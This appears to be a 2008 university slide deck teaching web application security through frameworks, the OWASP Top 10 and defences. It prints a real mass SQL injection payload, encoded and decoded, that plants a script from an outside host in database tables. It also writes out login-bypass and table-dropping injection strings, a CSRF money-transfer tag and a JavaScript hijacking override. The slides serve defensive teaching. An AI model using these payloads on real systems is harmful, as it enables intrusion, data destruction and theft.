web application security 10/28/2008 neil matatall, security programmer analyst marina arseniev,...

Web Application Security 10/28/2008

Neil Matatall, Security Programmer Analyst

Marina Arseniev, Director – Enterprise Architecture, Security, and Data Management Services

University of California, Irvine

Puzzle – What is this?

"GET /programs/biosafety/bioSafety_handBook/Chapter%206-Bloodborne%20Pathogens%20Human%20Tissue?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D2727207768!6!5726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

Answer

• "GET/programs/biosafety/bioSafety_handBook/Chapter%206-Bloodborne%20Pathogens%20Human%20Tissue?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0xDECLARE @T varchar(255)'@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://sdo.1000mg.cn/csrss/w.js"></script><!--'' wh??re '+@C+' not like ''%"></title><script src="http://sdo.1000mg.cn/csrss/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

• http://www.dolcevie.com/js/converter.html

Do you know?

• 75% of attacks today happen at the Application (Gartner). Desktop augmented by Network and then Web Application Security.

• Many “easy hacking recipes” published on web.

• Security holes in the web application layer can make a perfectly patched and firewalled server completely vulnerable.

• 3 out of 4 vendor apps we tested had serious SQL Injection bugs!

• The cost and reputation savings of avoiding a security breach are “priceless”

Web Application Vulnerabilities – Current Landscape

• Obama Campaign Web site hacked

• Olympics Athlete Age Scandal

• Key Trends– Application Security Trends Report Q1

2008

High Schools hacked by High Schoolers - Security Incidents

http://www.privacyrights.org

• May 2007 17,400 identities breached– Two high school seniors recently hacked into the district's computer network

potentially compromising the personal information including Social Security numbers of students and employees.

• March 2008 35,000 identities breached– An Atlantic Technical High School senior hacked into a district computer and

collected Social Security numbers and addresses of district employees.

• May 2008 50,000 identities breached– A 15-year-old student gained access to files on a computer at Downingtown

West High School. Private information, including names, addresses and Social Security numbers, of more than 50,000 people were accessed. The student apparently used a flash drive to save the personal data of about 40,000 taxpayers and 15,000 students.

Agenda

• Essentials of a Comprehensive Web Security Program

• Security Frameworks – ISO, NIST, PCI…

• OWASP’s Top 10 list

• Additional Vulnerability Topics

• Integrating Security into the SDLC

• Procurement Practices

• Tools

Essentials of a Comprehensive Web Security Program - Principles*

• Security Foundation– Principle 1. Establish a sound security policy as the “foundation” for design– Principle 2. Treat security as an integral part of the overall system design. – Principle 3. Clearly delineate the physical and logical security boundaries governed by associated security policies– Principle 4. Ensure that developers are trained in how to develop secure software

• Risk Based– Principle 5. Reduce risk to an acceptable level– Principle 6. Assume that external systems are insecure– Principle 7. Identify potential trade-offs between reducing risk and increased costs and decrease in other aspects of

operational effectiveness– Principle 8. Implement tailored system security measures to meet organizational security goals – Principle 9. Protect information while being processed, in transit, and in storage.– Principle 10. Consider custom products to achieve adequate security– Principle 11. Protect against all likely classes of “attacks.”

• Ease of Use– Principle 12. Where possible, base security on open standards for portability and interoperability– Principle 13. Use common language in developing security requirements. – Principle 14. Design security to allow for regular adoption of new technology…– Principle 15. Strive for operational ease of use.

NIST Special Publication 800-27 Rev A - Engineering Principles for Information Technology Security (A Baseline for Achieving Security), Revision A (http://csrc.nist.gov/publications/nistpubs/800-27A/SP800-27-RevA.pdf)

Principles - Continued

• Increase Resilience Principle 16. Implement layered security (Ensure no single point of vulnerability).Principle 17. Design and operate an IT system to limit damage and to be resilient in response. Principle 18. Assure that the system is, and continues to be, resilient in the face of expected threatsPrinciple 19. Limit or contain vulnerabilities. Principle 20. Isolate public access systems from mission critical resources (e.g., data, processes, etc.). Principle 21. Use boundary mechanisms to separate computing systems and network infrastructures. Principle 22. Design and implement audit mechanisms to detect unauthorized use / incident investigations. Principle 23. Develop and exercise contingency or disaster recovery procedures to ensure availability

• Reduce VulnerabilitiesPrinciple 24. Strive for simplicityPrinciple 25. Minimize the system elements to be trustedPrinciple 26. Implement least privilege. Principle 27. Do not implement unnecessary security mechanisms. Principle 28. Ensure proper security in the shutdown or disposal of a system.Principle 29. Identify and prevent common errors and vulnerabilities.

• Design with Network in Mind Principle 30. Implement security through a combination of measures distributed physically and logically. Principle 31. Formulate security measures to address multiple overlapping information domains. Principle 32. Authenticate users and processes to ensure appropriate access control decisions …Principle 33. Use unique identities to ensure accountability

Agenda







• Tools

Security Frameworks*

ITILThe Information Technology Infrastructure Library (ITIL) is a set of concepts and techniques for managing information technology (IT) infrastructure, development, and operations. Security is not covered in great detail.

CobIT

Control Objective over Information and Related Technology (CobIT), issued by the IT Governance Institute and now in its fourth edition, is an internationally applicable and accepted IT governance and control framework for aligning IT with business objectives, delivering value and managing associated risks. It provides a reference framework for management, users, and IS audit, control and security practitioners

ISO 27001:2005 and 17799

The International Organization for Standardization (ISO) is the world’s largest developer of standards. This organization has released over 15,000 standards. ISO 27001 consists of short control statements across many areas of security. It helps identify, manage and quantify the range of threats to which information is regularly subjected. ISO 17799 covers a similar scope but provides longer explanations and examples of appropriate controls. Where ISO 27001 helps companies identify what they should do, ISO 17799 provides additional guidance regarding what companies need to think about as they work to achieve appropriate levels of security.

The intention of ISO 27001 is to create a level playing field that can be applied worldwide. Benchmarking against it can be a useful indicator of core security controls and practices, and some ISO 27001 controls address areas frequently requested by auditors under Sarbanes-Oxley Section 404 and other regulatory requirements.

NIST

The National Institute of Standards and Technology (NIST) is a non-regulatory federal agency within the U.S. Commerce Department’s Technology Administration. In 2002, the Federal Information Security Management Act (FISMA) set aside money for NIST to develop new standards for securing government agencies. Of particular focus is the NIST 800-53 standard, which describe important fundamentals.

*http://www.theiia.org/chapters/index.cfm/view.news_detail/cid/98/newsid/8376 and http://www.27001iso.com/content.asp?s1detail=4323 and http://cio.nist.gov/itsd/

Security Frameworks*

HIPAA

Health Insurance Portability and Accountability Act of 1996 (HIPAA, Title II) establishes national standards for the privacy and security of electronic health care information.

Example Self-Assessment Question – Have you implemented audit controls, hardware, software, and/or procedural mechanisms that record and examine activity in information systems that contain or use EPHI (Electronic Protected Health Information)?

PCI-DSS

The Payment Card Industry Data Security Standards is a guideline to help organizations that process card payments prevent credit card fraud, cracking and various other security vulnerabilities and threats. A company processing, storing, or transmitting payment card data must be PCI DSS compliant or risk losing their ability to process credit card payments and being audited and/or fined. Merchants and payment card service providers must validate their compliance periodically.*

*http://en.wikipedia.org/wiki/PCI_DSS

ISO 27001 Controls

Security policy - This provides management direction and support for information security and represents top management decision regarding the balance of risk and control required in your organization.

Organization of assets and resources - To help you manage information security within the organization

Asset classification and control - To help you identify your assets and appropriately protect them

Personnel security - To reduce the risks of human error, theft, fraud or misuse of facilities

Physical and environmental security - To prevent unauthorized access, damage and interference to business premises and information

Communications and operations management - To ensure the correct and secure operation of information processing facilities

Access control - To control access to information

Systems development and maintenance - To ensure that security is built into information systems

Information security incident management - to ensure continuous improvement of information security in the organization.

Business continuity management - To counteract interruptions to business activities and to protect critical business processes from the effects of major failures or disasters

Compliance - To avoid breaches of any criminal and civil law, statutory, regulatory or contractual obligations, and any security requirement

Specific examples include; acceptable use and control of databases, control of network system user access rights, locks on doors (types of), equipment location, cabling security, Email policy and enforcement, capacity planning, controls against malicious code, information back-up, network security, third party agreements, contracts of employment, electronic commerce, privacy of personal information, business continuity plans, information leakage, publicly available information, fault and security event logging, input and output data validation, user authentication for external connections etc.

ISO Security Focus

• ISO/IEC 27001:2005 “Information Security Requirements”– http://www.iso.org/iso/catalogue_detail?csnumber=42103

• ISO/IEC 27001:2005 “Specification for an Information Security Management System”– http://www.iso27001security.com/html/27001.html

• ISO/IEC 27001 & 27002 “Implementation Guidance and Metrics”– http://www.iso27001security.com/

ISO27k_implementation_guidance_1v1.pdf

• ISO/IEC 27001:2005 “Specification for an Information Security Management System” - http://www.iso27001security.com/html/27001.html

NIST Recommended Security Controls for Federal Information Systems*

TABLE 1: SECURITY CONTROL CLASSES, FAMILIES, AND IDENTIFIERS

IDENTIFIER FAMILY CLASS 1. AC Access Control Technical 2. AT Awareness and Training Operational 3. AU Audit and Accountability Technical 4. CA Certification, Accreditation, and Security Assessments Management 5. CM Configuration Management Operational 6. CP Contingency Planning Operational 7. IA Identification and Authentication Technical 8. IR Incident Response Operational 9. MA Maintenance Operational 10. MP Media Protection Operational 11. PE Physical and Environmental Protection Operational 12. PL Planning Management 13. PS Personnel Security Operational 14. RA Risk Assessment Management 15. SA System and Services Acquisition Management 16. SC System and Communications Protection Technical 17. SI System and Information Integrity Operational

The seventeen security control families in NIST Special Publication 800-53 are closely aligned with the seventeen security-related areas in FIPS 200 specifying the minimum security requirements for protecting federal information and information systems. Families are assigned to their respective classes based on the dominant characteristics of the controls in that family. Many security controls, however, can be logically associated with more than one class. For example, CP-1, the policy and procedures control from the Contingency Planning family, is listed as an operational control but also has characteristics that are consistent with security management as well.

*http://csrc.nist.gov/publications/nistpubs/800-53-Rev2/sp800-53-rev2-final.pdf

PCI DSS – Payment Card Industry Data Security Standard *

Build and Maintain a Secure Network– Requirement 1: Install and maintain a firewall configuration to protect cardholder data– Requirement 2: Do not use vendor-supplied defaults for system passwords and other

security parametersProtect Cardholder Data

– Requirement 3: Protect stored cardholder data– Requirement 4: Encrypt transmission of cardholder data across open, public networks

Maintain a Vulnerability Management Program– Requirement 5: Use and regularly update anti-virus software– Requirement 6: Develop and maintain secure systems and applications

Implement Strong Access Control Measures– Requirement 7: Restrict access to cardholder data by business need-to-know– Requirement 8: Assign a unique ID to each person with computer access– Requirement 9: Restrict physical access to cardholder data

Regularly Monitor and Test Networks– Requirement 10: Track and monitor all access to network resources and cardholder data– Requirement 11: Regularly test security systems and processes

Maintain an Information Security Policy– Requirement 12: Maintain a policy that addresses information security

* https://www.pcisecuritystandards.org/index.shtml

PCI-DSS – Self-Assessment Questionnaire D and

Attestation of Compliance – 27 pages!*• Section 6.5(a) Are all web applications developed based on secure coding

guidelines such as the Open Web Application Security Project guidelines?• Section 6.5(b) Is custom application code reviewed to identify coding

vulnerabilities?• Section 6.5(c) Is prevention of common coding vulnerabilities covered in

software development processes, including the following?– 6.5.1 Unvalidated input, 6.5.2 Broken access control, 6.5.3 Broken

authentication and session management, 6.5.4 Cross-site scripting attacks, 6.5.5 Buffer overflows, 6.5.6 Injection flaws, 6.5.7 Improper error handling?

• REQUIRED After June 30, 2008 - Section 6.6 – Are all web-facing applications protected against known attacks by applying either of the following methods?– Having all custom application code reviewed for common vulnerabilities by an

organization that specializes in application security– Installing an application layer firewall in front of web-facing applications

• https://www.pcisecuritystandards.org/docs/saq_d_v1-1.doc

Agenda







• Tools

Themes of this Talk

• NEVER trust user input! Always validate!– This includes headers!– Verify the type and length of parameters

• Follow the rules! Use GET and POST the way they were intended

• Syntactic sugar and “clever” programming tricks can lead to security holes

• Always, always, always, use whitelists instead of blacklists

• Use the principle of least privileges

OWASP’s Top 10 List

1. Cross Site Scripting (XSS)2. Injection Flaws

a) SQL Injection, XPATH Injection, etc

3. Malicious File Execution (remote file inclusion)4. Insecure Direct Object Reference5. Cross Site Request Forgery (CSRF)6. Information leakage and Improper Error Handling7. Broken Auth’n and Session Management8. Insecure Cryptographic Storage9. Insecure Communications10. Failure to Restrict URL Access

From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

http://www.lulu.com/items/volume_62/1400000/1400974/1/print/OWASP_Top_10_2007_for_print.doc.pdf


Cross-Site Scripting (XSS) Attacks

• Malicious code that can change the look and function of a legitimate web application – Originates from old phishing attacks but

less obvious and more dangerous to the user/victim

– More widespread now because of move to more rich Internet applications using dynamic content and JavaScript and the latest AJAX trend

Cross-Site Scripting (XSS) Attacks

Web App

Hacker

Injects scriptinto web site

CompromisedWeb App

Retrieves compromisedpage content

Unknowinglyexecutes script

End User

The Impact of XSS

• Data residing on the web page can be sent anywhere in the world

• Facilitates many other types of attacks– Cross-Site Request Forgery (CSRF),

Session Attacks (more later)

• Your site’s behavior can be hijacked– E.g. Hill-Obama website

Our first demo…

Phishing with XSS

Stored XSS Attack

http://localhost/WebGoat/attack?Screen=13&menu=900


Preventing XSS

• Escape all user input when it is displayed– Escaping converts the output to harmless html entities

• <script> becomes <script> but still looks like <script>– Methods:

• Java Standard Tag Llibrary (JSTL) <c:out/>• org.apache.commons.lang.StringEscapeUtils

• Ensure your filter uses a white list approach– Filters based on blacklisting have historically been flawed

• E.g. Ruby on Rails sanitize method– New encoding schemes can easily bypass filters that use a blacklist

approach• Do not accept and reflect unsolicited input

– Reflecting every parameter for confirmation pages– Printing out the session/request parameters in error pages

• Great XSS resource: http://ha.ckers.org/xss.html

UCLA Security Incident

• 30,000 people affected directly; 800,000 notifications sent out 12/2006

• Unsupported/forgotten legacy web application was targeted with escalated database privileges

• Web application vulnerability exposed data online using SQL injection

• Hacked server was then used to gain access to more sensitive servers

Impact of SQL Injection - Dangerous

• At best: you can leak information

• Depending on your configuration, a hacker can– Delete, alter or create data– Grant access to the hacker silently– Escalate privileges and even take over the

OS

SQL Injection Attacks

Web App

Hacker

Uses SQL scriptinjection to

access data

“SQL injection is a security vulnerability that occurs in the database layer of an application. Its source is the incorrect escaping of dynamically-generated string literals embedded in SQL statements. “ (Wikipedia)

SQL Injection Attacks

• Login Example Attack– Text in blue is your code, Text in orange is the hacker input– SQL Query in Web application authentication code:

• “SELECT * FROM users WHERE login = ‘” + userName + “’ and password= ‘” + password + “’;”

– Hacker logs in as: ‘ or ‘’ = ‘’; -- • SELECT * FROM users WHERE login = ‘’ or ‘’ = ‘’; --'; and password=‘’;

– Hacker deletes the users table with: ‘ or ‘’ = ‘’; DROP TABLE users; --• SELECT * FROM users WHERE login = ‘’ or ‘’=‘’; DROP TABLE users; --'; and password=‘’;

• SQL Injection examples are outlined in:– http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf – http://www.unixwiz.net/techtips/sql-injection.html

http://www.uci.edu/getdata.jsp?ssn=333224444&ucinetid=johnsmith&password=blah


http://apps.adcom.uci.edu/expresso/sams/Login.do?state=processLogin

SQL Injection Demo…

• Numerical SQL Injection

• String SQL Injection

• Blind SQL Injection




Administrative Computing Services

DO Numeric & String SQL Injection, Blind SQL Injection?

Preventing SQL injection

• Use Prepared Statements (aka Parameterized Queries)– “select * from accounts where id = “ + idvs– “select * from accounts where id =?”

• Validate input– Strong typing

• If the id parameter is a number, try parsing it into an integer– Business logic validation

• If you are expecting a telephone number, test it with a Regular Expressions

• Use the principle of least privileges– If the query is reading the database, do not run the query as a user with

update permissions (dbo, drop, etc) – Quiz: Is running a Web Application as the Database System Admin “sa”

account a good practice? • Don’t display SQL error messages of any kind to the user• ESCAPE questionable characters (ticks, --,semi-colon, brackets, etc.)

Injection Impacts More Than SQL

• “Injection Flaw” is a blanket term• SQL Injection is most prevalent• Other forms:

– XPath Injection– Command Injection– LDAP (Lightweight Directory Access Protocol) Injection– DOM (Document Object Model) Injection– JSON (Javascript Object Notation) Injection– YAML (Yaml Ain’t a Markup Language) Injection – Log Spoofing– On and on and on…

Another Injection Demo

• XPath Injection

• Command Injection

• Log Spoofing






Do the DOM Injection, JSON Injection, XML Injection, XPath

Malicious File Execution

• Happens when code is executed on the server from an non-trusted source– All web application frameworks are vulnerable to malicious file execution if

they accept filenames or files from the user. Typical examples include: .NET assemblies which allow URL file name arguments, or code which accepts the user’s choice of filename to include local files.

– PHP is particularly vulnerable to remote file include (RFI) attack through parameter tampering with any file or streams based API

• Classic example:– Hacker visits a website that allows uploads

– Hacker uploads a malicious code

– Hacker learns directory structure and sends the path as a parameter

– PHP code is executed on the server

• include $_REQUEST[‘filename’];

Impact

• Code runs as the current user for the web server– Can modify, delete anything the user has

access to– Can install rootkits– Can take over the entire server if

misconfigured (a.k.a. the web server runs as root)

Solution

• Architect and design application to avoid it. Never allow the design to use user-supplied input in any filename for any server-based resource (such as images, XML and XSL transform documents, or script inclusions). Never use a parameter to execute a Server Side Include directly

• Add firewall rules to prevent web servers making new connections to external web sites and internal systems.

• Isolate web server in its own VLAN or private subnet.

• Use an indirect object reference map – For example, where a partial filename was once used, consider a hash of the partial

reference. Instead of : – <select name=”language”> <option value=”English”>English</option> use – <select name=”language”> <option

value=”78463a384a5aa4fad5fa73e2f506ecfc”>English</option> – Consider using salts to prevent brute forcing of the indirect object reference.

Alternatively, just use index values such as 1, 2, 3, and ensure that the array bounds are checked to detect parameter tampering.

• Validate - check any user supplied files or filenames taken from the user for legitimate purposes, which cannot obviate other control

Insecure Direct Object Reference

• A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. Attackers can manipulate those references to access other objects without authorization.

• Fancy term for parameter tampering• Involves modifying parameters to access

unauthorized materials• E.g. /BankAccount.jsp?acct_nmbr=123

– The hacker modifies the parameter to view another users account

Demo

• Bypass Data Layer Access Control

Solution

• Properly validate data!– Cookie data, URL parameters, all HTML Form data (even hidden, select,

radio and checkbox types)– Restricting length of HTML text boxes, options in select boxes, and

JavaScript validation can all be easily sidestepped and are not secure– All input data MUST be validated server side for each request – client side

validation is EASILY bypassed

• Do not expose internals to the user– Such as IDs (if possible/necessary)

• Use an indirect reference map with hard to guess keys (hash)– POST /BankAccount.jsp?acct_nmbr=d83OJdm3– The server then uses the key to get the real value

• Key: d83OJdm3 value: 123

Use Proper Authorization

• Architect your application to check authorization with every request

• Back to the bank example– Before: select * from accounts where

account_number = ?– After: select * from accounts where

account_number = ? and user_id =?

Cross Site Request Forgery (CSRF)

• Occurs when an authenticated user unknowingly initiates a request

• The request is handled as if it was intentional

• Commands are executed in the context of the victim

CSRF Is Very Dangerous

• CSRF attacks are very difficult to track– The request comes from the users IP address so it

is difficult to hunt down the hacker

• The hacker is essentially given all of the user’s privileges

• XSS facilitates CSRF via “Link Injection”• Usually happens without the user being

aware!

CSRF Example

• A hacker posts to a message board containing an image tag

– <img src= “http://yourbank.com/transfer? to_account=my_account_number&amount=all_of_your_money>

• An unsuspecting user logs into yourbank.com and authenticates

• The user then visits said message board• A request is issued from the victims browser

to the banks website• The banks website transfers the users money

to the hackers account

Cross Site Request Forgery Demo

• CRSF Demo


Solution

• Add a secondary authentication mechanism– Such as an impossible to guess token

• Eliminate XSS attacks– XSS becomes more powerful when your application is vulnerable to

XSS

• Require a confirmation page before executing potentially dangerous actions

• You should be using POST as your form action and only accept POST requests on the server for sensitive data !!! – Incoming CSRF requests will fail since the parameter is in the URL

and not the post body

Post vs. Get

• DO use POST for every action that changes the server state– And reject all non-POST methods– Most search engines won’t crawl POST forms– Helps prevent duplicate submissions

• DO NOT use GET for anything that changes the server state or contains sensitive information– GET requests are logged, in their entirety, in the web server access

logs (public on Apache by default)– Also shows up in the browser history– For example GET /login?

username=me&password=suparsekretpasswerd

Information Leakage and Improper Error Handling

• ANY information you give to a hacker CAN and WILL be used to hack your site

• Remove passwords or other revealing information in source code

• Application / Database Error Messages• Misconfigured servers• This information may be indexed by

search engines!

Application Error Messages

Misconfigured, Default Settings, Unpatched Systems

• By default, you may already be leaking information!• Includes all “infrastructure” applications

– Web Server (Apache) • Access logs are public by default• Directory listing is enabled by default

– Application Server (Tomcat, PHP, Coldfusion, etc)– Database Server (MySQL, MS-SQL, etc)

• Public accounts enabled by default– 3rd party applications (PHP message board, webmail, etc)

• Hackers look for easy access to your server– Exploit an known vulnerability if infrastructure application doesn’t have

latest patches– Gain access to server using default credentials– Use default installed “snoop” or example pages to learn more about

your server

Forced Directory Browsing

• Try to force directory browsing by eliminating anything past the various “/” in the URLs of your web application– If directory browsing is allowed on your web server, files you don’t

want public could be displayed or at the least give the hacker more information about your system

• robots.txt files are the first place hackers look– Robots.txt is web accessible and contains URLs you don’t want

indexed by a search engine. This might be the kind of data hackers want

– Use access controls instead

Insecure Web-Accessible Files

• Make sure all files in web-accessible directories are safe to be seen by public– No spreadsheets, data files, or configuration files with

sensitive data (i.e. SSNs, health data, financial data, passwords)

• Don’t keep old/unused copies of files– Data files or source code files that won’t get

interpreted by application server (easy to guess and view source)

• i.e. viewRecords.jsp.bak ; showEmployees.php.old ; updateRecord.asp.20061101 ; database.conf

Google Hacking

• Popularized by johnny.ihackstuff.com• Using Google search engine and advanced

query abilities to find insecure data files and misconfigured/unpatched servers indexed on the web

• Wikto (Sensepost) or SiteDigger (Foundstone) are free tools that can be used along with ihackstuff’s Google Hack Database to see if anything from your domain is indexed

Google Hacking Demo


http://johnny.ihackstuff.com/ghdb.php?function=summary&cat=10http://johnny.ihackstuff.com/ghdb.php?function=detail&id=78

"admin account info" filetype:log

Broken Auth’n and Session Management

• Make sure the user is who they say they are

• Make sure the user cannot hijack or create bogus sessions

Authentication Checks

• Always communicate over SSL

– Especially so with Basic Authentication!

• Never store passwords in plaintext

– Encrypt or Hash (preferred)

• Architect applications to check every request to see that the auth’n data is still valid

• Issue a new session token to the authenticated user

• If you absolutely must use “remember me” functionality, use a difficult to guess auth’

• Always use a reasonable session timeout

Demo

• Basic Authentication Demo

• Spoofing an Authentication Cookie



Session Attacks

• Session Fixation: The hacker predicts a valid session key (usually via phishing)

• Session Hijacking: The hacker masquerades as another user by stealing the users session id (usually via XSS)

Demos

• Session Fixation

• Session Hijacking (Great demo, not covered in this session)



Solution

• Use built in session management!– Most application servers do a pretty good

job of this

• Use secure randomly generated session keys to make prediction impossible– Don’t expose the user to session ids if

possible

• Use reasonable session timeouts

Insecure Cryptographic Storage

• Use standard encryption methods– They are standards for a reason!

• Use strong standard encryption methods– Stop using MD5, SHA1, DES– Use SHA-256, AES, RSA etc

• Never store passwords in plaintext• Use proper access control to sensitive

information• Don’t store information if possible

Insecure Communication

• Sensitive information being sent over an unencrypted channel can be snooped very easily (including email!)

• Use a SSL to pass sensitive information to browsers

• Encrypt information sent in email• Encrypt authentication: Remember the

basic authentication demo?

Unencrypted Communication

• Every time sensitive data is sent to or retrieved from the web server to client browser, communication should be encrypted using SSL so hackers cannot snoop data– URL should use https://– Examples:

• Login pages that send password • Application pages that submit or view sensitive data

(SSN, financial account number, health data, etc)

Failure to Restrict URL Access

• Allowing users to perform restricted actions

• Can be caused by:– Improper authentication– Incorrect authorization– Unprotected admin areas

• Usually caused by easy to guess URLs

Agenda







• Tools

Additional Topics

• Concurrency Problems

• Web Service Security

• AJAX Security

• Caching Concerns

Thread Safety

• Web applications are by nature multithreaded

• Access to unsynchronized shared resources can cause unexpected results

• Use automated tools to reliably test– Tough to do by hand!

Impacts of Threading Problems

• One user’s information can be displayed to another user– Or even worse, one users information gets

stored as another user’s

• Can cause unexpected application behavior

Thread Safety Demo

• Thread Safety Problems


The Problem (Java Code)

// this.current user corresponds to a class fieldthis.currentUser = request.getParameter (USER_NAME, "");

if (!"".equals(currentUser)){ doActionThatBlocksForAWhile();

String query = "SELECT * FROM user_system_data WHERE user_name = '" + currentUser + "'";

...snip....}

This is actually a double-whammy! Who sees the “other” mistake?

Solutions

• Every thread gets its own copies of local variables– Does not apply to fields (or static variables)

• Use immutable objects whenever possible– Immutable objects cannot be changed

• Use synchronized access objects– E.g. Java: Hashtable, Vector, etc– Vs HashMap, ArrayList, etc

Additional Topics



• AJAX Security


Web Services

• Web Services allow multiple applications to interface remotely– Promotes interoperability

• Fairly new topic• Will be a major issue as organizations SOAify• “Testing can be more challenging due to not

having a ‘normal’ interface”– Gunnar Peterson

REST v SOAP

REST• Built INTO HTTP

• “Lite”• Relies on Basic Auth• Relies on SSL

SOAP• Built ON TOP of HTTP• “High Overhead”• WS-Security

Standards• More flexible

See a nice diagram of the SOA Stack

http://service-orientated-architecture.pbwiki.com/SOA%20Stack

REST

• REpresentative State Transfer• Uses HTTP structure• Pitfalls:

– Must use SSL to authenticate (see Basic Authentication Demo)

– Must use MAC codes to verify integrity• Advantages:

– No dependencies for security; uses built in infrastructure

– Encryption is done at the network layer

SOAP

• SOAP security benefits from being heavily standardized when compared to most other technologies– Managed by OASIS– Interoperability was of the upmost importance

• Security is managed by a “Handler Chain”– Handlers are independent and can selectively apply “security”– Order matters!

• The server will execute each Handler in the reverse order as they are applied on the client. Incorrect execution order can lead to garbage data!

• Can use Kerberos, X.509, etc certificates for authentication• Provides end-to-end security at the Application Layer

– Also means each message is secured individually – Can be done over SSL or can selectively encrypt portions of the

message• Can use a variety of authentication mechanisms• See WS-Security Spec

http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=wss

SOAP Basics

• Always validate input (yes, again)– The input from a web service call is just as susceptible to malicious

input• Use libraries for common actions (Don’t re-invent the wheel)

– There are libraries for “conversations”• Analogous to a “session” in web applications

– Authentication, Digital Signatures, Encryption, Timestamps, etc• Secure your WSDL

– Your WSDL leaks the interface to your web services• Use proper access controls methods• Defend against XDoS (XML Denial-of-service)

– DO NOT use DTDs – vulnerable to infinite recursion– Throttle incoming messages

From Security Concepts, Challenges, and Design Considerations for Web Services Integration

https://buildsecurityin.us-cert.gov/daisy/bsi/articles/best-practices/assembly/639-BSI.html

https://buildsecurityin.us-cert.gov/daisy/bsi/articles/best-practices/assembly/639-BSI.html

SOAP Standards

• WS-SercureConversation– Provides a “session” to the stateless SOAP

• WS-Policy– set of specifications that describe the capabilities and

constraints of the security policies on intermediaries and end points and how to associate policies with services and end points

• WS-Reliability– a protocol that allows SOAP messages to be delivered

reliably between distributed applications in the presence of software component, system, or network failures

• XML Signatures and Encryption– Protects your message’s integrity and privacy respectively

• Many more…

Additional Topics



• AJAX Security


AJAX Security

• Cutting edge in terms of web interfaces and security practices

• Susceptible to “shortcut” issues related to inexperienced developers

• Difficult! • Easily overused when traditional

methods are not only safer, but functional

Potential Issues With AJAX

• Responses are sent to the browser, JavaScript code updates the page

• Be careful what you send back– Do not leak information

• Do NOT trust values that were fed via AJAX• Update code is CLIENT side

– The user can see the code being executed– Can take advantage or code more easily

Tips

• Do NOT overuse AJAX

• Do processing on the server side if possible– Send raw html back to the client

• Do not return more information than is necessary to complete the request

• Always validate your input!

AJAX Demos

JSON Injection

XML Injection

DOM Injection




JavaScript Hijacking

• Attack vector mostly specific to AJAX• XSS + CSRF = JavaScript Hijacking• Exploits JavaScript’s flexibility

– You are free to override ANYthing in JavaScript including the base object constructor!

– Exploits your trust in the “same-origin policy”

Fortify's White Paper

http://www.fortifysoftware.com/servlet/downloads/public/JavaScript_Hijacking.pdf

http://www.fortifysoftware.com/servlet/downloads/public/JavaScript_Hijacking.pdf

How does it work?

• The user visits an unfriendly site and executes the following JavaScriptfunction Object() { this.id setter = function (x){ doBadStuff (x) } }

– The hacker overrides the JavaScript default behavior

• The unfriendly site makes a request to a friendly site– <*script src="http://mail.google.com/mail/?_url_scrubbed_">– Similar to CSRF, if the user has authenticated the cookies are sent with the

request (exploits your trust in the same origin policy)

• Suppose the request returns JSON– [{“id”:”123”, “password”:”educause”,“salary”:”4000000”}]

• The returned JSON gets executed, the overridden setter hook gets called

“Reverse” JavaScript Hijacking and Mashups

• In mashups, many AJAX responses will contain a function reference at the end of a response to promote interoperability

• The user visits a friendly website and gets XSS’d– The malicious code overrides the returned method – Code is executed in the context of the friendly page

• “An application can be mashup-friendly or it can be secure, but it cannot be both.”

Solution

• Two strategies (Fortify Software recommends that you implement both)

1. Declining Malicious Requests• Require a valid “request id”• Use POST (but you are breaking the rules!)

– Only defends one type of attack

2. Preventing Direct Execution of the response.• Insert code that nullifies the overridden method

– “the legitimate client application can take advantage of the fact that it is allowed to modify the data it receives before executing it, while a malicious application can only execute it using a <script> tag.”

– Wrap the objects in /* [{stuff}]*/: intercepted values are not interpreted• Remove the nullifying code• Use parseJSON instead of eval

• “An application can be mashup-friendly or it can be secure, but it cannot be both.”

Solution (Easy way)

• Do NOT use JSON as your transfer language!

• JSON is a special form of JavaScript, thus anything can be included

• Use XML (or another benign markup language)– XML is NOT executed no matter what– The problem becomes trivial

Additional Topics



• AJAX Security


Browser Page Cache

• Pages with sensitive data should not be cached: page content is easily accessed using browser’s history

• Use the following tags to disable page caching:

<META HTTP-EQUIV="Pragma" CONTENT="no-cache"><META HTTP-EQUIV="Cache-Control" CONTENT=“no-store, no-cache"><META HTTP-EQUIV="Expires" CONTENT="-1">

• Be aware of differences between browsers!– Do-not-cache tags may not apply to binary content and may differ between

platforms and browsers

• Many documents are stored in temporary files on desktop after viewing – MS Excel as an example. Can be viewed on public kiosk machines!

Browser History

• Sensitive data should not be included as a parameter in the URL of any web pages– http://www.uci.edu/getdata.jsp?ssn=333224444&u

cinetid=johnsmith&password=blah

